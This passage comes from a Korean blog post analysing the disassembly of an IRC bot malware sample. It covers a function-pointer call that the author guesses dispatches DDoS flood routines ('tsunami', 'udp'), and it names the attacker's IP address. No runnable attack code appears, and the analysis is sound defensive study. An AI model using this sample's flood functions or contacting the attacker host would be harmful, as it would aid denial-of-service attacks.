804a8fd: jmp    804a912 <_PRIVMSG+0x48c> # goto :PRIVMSG28

이 부분은 위에서 설명했던 function pointer를 이용한 함수 호출과 같은 원리다. 여기서 어떤 함수가 호출될지는 모른다. 그렇지만 flooders라는 structure object의 이름으로 보아 DDoS 공격을 수행하는 함수를 호출하지 않을까 싶다. (분석보고서 답지 않게 추측의 성향이 너무 강하다고 생각되나 공격자IP(200.156.100.119)로의 연결도 불가능한 상태이고 오로지 assembly code만 보고 분석한 결과라 추측할 수 밖에 없다고 생각한다.) ELF header 부분에서 수행 가능한 함수를 모두 봤을 때 이 부분에서 수행된다고 추정되는 함수는 아래와 같다.


1471: 08049b83   905 FUNC    GLOBAL DEFAULT    3 tsunami

1347: 080494c8   686 FUNC    GLOBAL DEFAULT    3 udp


=======================================================================


위 부분을 마지막으로 분석을 접었었다. 어떠한 툴도 사용하지 않고 100% TEXT로 된 Assembly Code로만 분석을 하려다보니까 한계를 조금 많이 느꼈었다. 참조하는 메모리 영역의 값을 알수 없다는 것이 가장 컸다. 위 부분에 대한 추가적인 분석은 아직 하지 않았다. 하지만 IRC 서버 구축을 통해 조금이나마 더 자세한 분석을 혹은 가이드를 해보려고 한다.


다음 포스팅에서 계속 하겠다.


'Vulnerability' 카테고리의 다른 글

[Vul] openssl heartbleed vulnerability (CVE-2014-0160)  (0) 2015.03.13
[Vul] IRC 서버 구축  (0) 2014.12.22
[Vul] Shellshock (CVE-2014-6271)  (6) 2014.10.25
[Vul] CVE-2012-1823 Vulnerability  (1) 2014.01.21
[Vul] Shellcode Execution  (4) 2013.12.30
Posted by 빛나유
,